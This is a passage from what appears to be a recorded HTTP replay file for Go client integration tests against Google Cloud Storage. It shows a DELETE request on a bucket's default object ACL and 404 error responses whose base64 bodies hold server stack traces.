GVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "23bb9ce53da2f525", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 404, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "11631" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:09 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:09 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Upa2KE5JJOXq2FOn7RHasJpOeeHqWU2kk3BC4cQcGQ9jGzh6XIksN6Z6u1NVoCbxW7-3zGiZMdAop-oa_EuyPAauD__JgzNPdngeNeXO7lsGaVI6i8" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6Im5vdEZvdW5kIiwibWVzc2FnZSI6Ik5vdCBGb3VuZCIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0xfU0NPUEVfTk9UX0ZPVU5EOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IFNwZWNpZmllZCBBQ0wgc2NvcGUgd2FzIG5vdCBmb3VuZFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1OT1RfRk9VTkQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNMX1NDT1BFX05PVF9GT1VORDogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9bm90Rm91bmQsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLk5PVF9GT1VORCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkFDTF9TQ09QRV9OT1RfRk9VTkQ6IFNwZWNpZmllZCBBQ0wgc2NvcGUgd2FzIG5vdCBmb3VuZFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6ODYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmRlbGV0ZShBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjEwOSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZXJyb3JQcm90b0NvZGU9Tk9UX0ZPVU5ELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZV9pZC5zY29wZSwgbWVzc2FnZT1udWxsLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249ZW50aXR5LnJlc291cmNlX2lkLnNjb3BlLCBtZXNzYWdlPU5vdCBGb3VuZCwgcmVhc29uPW5vdEZvdW5kLCBycGNDb2RlPTQwNH0gTm90IEZvdW5kOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNMX1NDT1BFX05PVF9GT1VORDogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFk